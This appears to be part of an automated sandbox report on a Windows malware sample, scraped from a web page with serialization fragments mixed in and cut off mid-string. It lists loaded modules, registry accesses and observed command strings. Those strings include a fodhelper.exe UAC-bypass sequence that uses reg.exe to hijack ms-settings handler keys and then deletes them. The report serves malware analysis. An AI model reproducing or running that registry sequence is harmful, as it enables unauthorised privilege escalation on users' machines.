"%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 85b80000 "powershell.exe" loaded module "AMSI.DLL" at base 65230000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 80600000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 726f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PO80707V.DLL" at base 651e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 65140000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 64fd0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 64140000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 59960000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\VERSION.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 85b80000 "powershell.exe" loaded module "CRYPT32.DLL" at base 85d30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 58ff0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 58c80000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 85f80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 63ff0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 64cd0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 64630000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 645e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 63eb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 804e0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 85290000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 84390000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 839a0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 58ba0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 88660000 "powershell.exe" loaded module "USERENV.DLL" at base 85260000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 88a00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 88ab0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 57e90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 64df0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 84920000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 84e60000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "powershell.exe" loaded module "RASAPI32.DLL" at base 79720000 "powershell.exe" loaded module "RASMAN.DLL" at base 796e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "powershell.exe" loaded module "WS2_32.DLL" at base 86690000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 84b90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "powershell.exe" loaded module "WINHTTP.DLL" at base 7fb40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 69ba0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7d1e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ee60000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 846e0000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 79070000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 79b60000 "powershell.exe" loaded module "SXS.DLL" at base 851c0000 "powershell.exe" loaded module "MSISO.DLL" at base 790b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSHTML.DLL" at base 55b10000 "powershell.exe" loaded module "COMCTL32.DLL" at base 75c30000 "powershell.exe" loaded module "URLMON.DLL" at base 7ca40000 "powershell.exe" loaded module "IEFRAME.DLL" at base 54ec0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\JSCRIPT9.DLL" at base 57900000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 54ec0000 "powershell.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 69ba0000 "powershell.exe" loaded module "PHONEINFO.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 86690000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 72f30000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 72f30000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 64730000 "powershell.exe" loaded module "GDI32.DLL" at base 88de0000 "reg.exe" loaded module "KERNEL32" at base 88660000 "reg.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 85f80000 "reg.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 85f80000 "reg.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 85f80000 "reg.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 86bb0000 "reg.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 85f80000 "reg.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 85f80000 "reg.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 85f80000 "reg.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 66c60000 "reg.exe" loaded module "KERNEL32.DLL" at base 88660000 "fodhelper.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 85f80000 "fodhelper.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 85f80000 "fodhelper.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 85f80000 "fodhelper.exe" loaded module "KERNEL32" at base 88660000 "fodhelper.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 66c60000 "fodhelper.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 839a0000 "fodhelper.exe" loaded module "RPCRT4.DLL" at base 88ec0000 "fodhelper.exe" loaded module "KERNEL32.DLL" at base 88660000 "fodhelper.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 814d0000 "fodhelper.exe" loaded module "USER32.DLL" at base 88380000 "fodhelper.exe" loaded module "COMCTL32.DLL" at base 75c30000 "fodhelper.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 57240000 "fodhelper.exe" loaded module "PROPSYS.DLL" at base 7f980000 "fodhelper.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7f980000 "fodhelper.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 88ab0000 "fodhelper.exe" loaded module "SSPICLI.DLL" at base 85290000 "fodhelper.exe" loaded module "MLANG.DLL" at base 69f70000 "fodhelper.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 88e10000 "fodhelper.exe" loaded module "WININET.DLL" at base 758f0000 "fodhelper.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.UI.APPDEFAULTS.DLL" at base 57180000 "fodhelper.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 85410000 "test2.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 85f80000 "test2.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 85f80000 "test2.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 85f80000 "test2.exe" loaded module "KERNEL32" at base 88660000 "test2.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 66c60000 "test2.exe" loaded module "KERNEL32.DLL" at base 88660000 "test2.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 88a00000 "test2.exe" loaded module "FECLIENT.DLL" at base 671f0000 "test2.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6cb60000 "test2.exe" loaded module "NTDLL.DLL" at base 89010000 "net.exe" loaded module "KERNEL32" at base 88660000 "net.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 85f80000 "net.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 85f80000 "net.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 85f80000 "net.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 86bb0000 "net.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 85f80000 "net.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 85f80000 "net.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 85f80000 "net.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 66c60000 "net.exe" loaded module "NTDLL.DLL" at base 89010000 "net1.exe" loaded module "KERNEL32" at base 88660000 "net1.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 85f80000 "net1.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 85f80000 "net1.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 85f80000 "net1.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 86bb0000 "net1.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 85f80000 "net1.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 85f80000 "net1.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 85f80000 "net1.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 66c60000 "net1.exe" loaded module "RPCRT4.DLL" at base 88ec0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 66b40000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 66070000 "powershell.exe" loaded module "MSCOREE.DLL" at base 66bf0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 65340000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 65290000 "powershell.exe" loaded module "SHELL32.DLL" at base 3a360000 "powershell.exe" loaded module "AMSI.DLL" at base 73ce0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 85d30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PO80707V.DLL" at base 6cb50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 651f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 65080000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 64d00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 63f40000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 64750000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 65010000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 64670000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 58eb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 67e60000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 643f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 581a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 64fe0000 "powershell.exe" loaded module "OLEAUT32" at base 86df0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 57f60000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.M870D558A#\5F64880C86C98E7DDECDF28E61917307\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.NI.DLL" at base 57eb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 85f80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MSVCRT.DLL" at base 0 "powershell.exe" loaded module "MSVCRT.DLL" at base 888a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 0 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 73cd0000 "powershell.exe" loaded module "MI.DLL" at base 7b660000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MI.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 85f80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WMIDCOM.DLL" at base 7b5d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 85f80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 83830000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7a2a0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 85f80000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 85f80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 79b90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 88660000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 85f800003e:Taa1,"powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "HTML Document" (Path: "HKCU\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\INPROCSERVER32") "powershell.exe" touched "Microsoft HTML About Pluggable Protocol" (Path: "HKCU\CLSID\{3050F406-98B5-11CF-BB82-00AA00BDCE0B}\TREATAS") "powershell.exe" touched "JScript Language" (Path: "HKCU\CLSID\{16D51579-A30B-4C8B-A276-0FF4DC41E755}\TREATAS") "powershell.exe" touched "Microsoft DocHost User Interface Handler" (Path: "HKCU\CLSID\{7057E952-BD1B-11D1-8919-00C04FC2C836}\TREATAS") "powershell.exe" touched "Browser Application State" (Path: "HKCU\CLSID\{E569BDE7-A8DC-47F3-893F-FD2B31B3EEFD}\TREATAS") "powershell.exe" touched "Microsoft Url History Service" (Path: "HKCU\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "fodhelper.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "fodhelper.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "fodhelper.exe" touched "Internet Shortcut" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}") "fodhelper.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "fodhelper.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}") "powershell.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}") "powershell.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS")3f:T87c,Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00001640-00000BC0-48128370] Observed system executable string:"%WINDIR%\System32\xcopy.exe" [Source: 00000000-00002816-00000BC0-49234848] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00002816-00000BC0-50795939] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00002816-00000C41-2248770778] Observed system executable string:"%WINDIR%\system32\cmd.exe /S /D /c" echo f "" [Source: 00000000-00002816-00000C41-2248770778] Observed system executable string:"%WINDIR%\system32\xcopy.exe" [Source: 00000000-00002816-00000C41-2411282127] Observed system executable string:"%WINDIR%\System32\reg.exe" [Source: 00000000-00002648-00000BC0-59087820] Observed system executable string:"%WINDIR%\System32\fodhelper.exe" [Source: 00000000-00002648-00000BC0-61049614] Observed system executable string:""%WINDIR%\system32\reg.exe" add HKCU\Software\Classes\.omg\Shell\Open\command /d %TEMP%\persistent" [Source: 00000000-00002648-00000C41-20173361620] Observed system executable string:""%WINDIR%\system32\reg.exe" add HKCU\Software\Classes\ms-settings\CurVer /d .omg /f" [Source: 00000000-00002648-00000C41-22567297493] Observed system executable string:"%WINDIR%\system32\fodhelper.exe.*" [Source: 00000000-00002648-00000C28-24893998085] Observed system executable string:""%WINDIR%\system32\fodhelper.exe"" [Source: 00000000-00002648-00000C41-24971941272] Observed system executable string:""%WINDIR%\system32\reg.exe" delete HKCU\Software\Classes\.omg\ /f" [Source: 00000000-00002648-00000C41-32240608668] Observed system executable string:""%WINDIR%\system32\reg.exe" delete HKCU\Software\Classes\ms-settings\ /f" [Source: 00000000-00002648-00000C41-34698011868] Observed system executable string:"%WINDIR%\System32\net.exe" [Source: 00000000-00002596-00000BC0-79483289] Observed system executable string:"%WINDIR%\system32\net.exe" [Source: 00000000-00002596-00000C41-2573617053] Observed system executable string:"%WINDIR%\System32\net1.exe" [Source: 00000000-00007140-00000BC0-80157758]40:T520,"GB.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "GB.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "GB.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "xcopy.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "xcopy.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "xcopy.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN")41:T453,file/memory contains long string with (Indicator: "text/javascript"; File: "analytics_1_.js") Found string "HTTP/1.1 200 OKContent-Type: text/javascriptTransfer-Encoding: chunkedConnection: keep-aliveDate: Wed, 20 Dec 2023 02:56:37 GMTAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: GETAccess-Control-Max-Age: 3000x-amz-replication-status:" (Indicator: "text/javascript"; Source: "00000000-00002648-00000C97-71568160") Found string "HTTP/1.1 200 OKContent-Type: text/javascriptTransfer-Encoding: chunkedConnection: keep-aliveDate: Wed, 20 Dec 2023 02:56:38 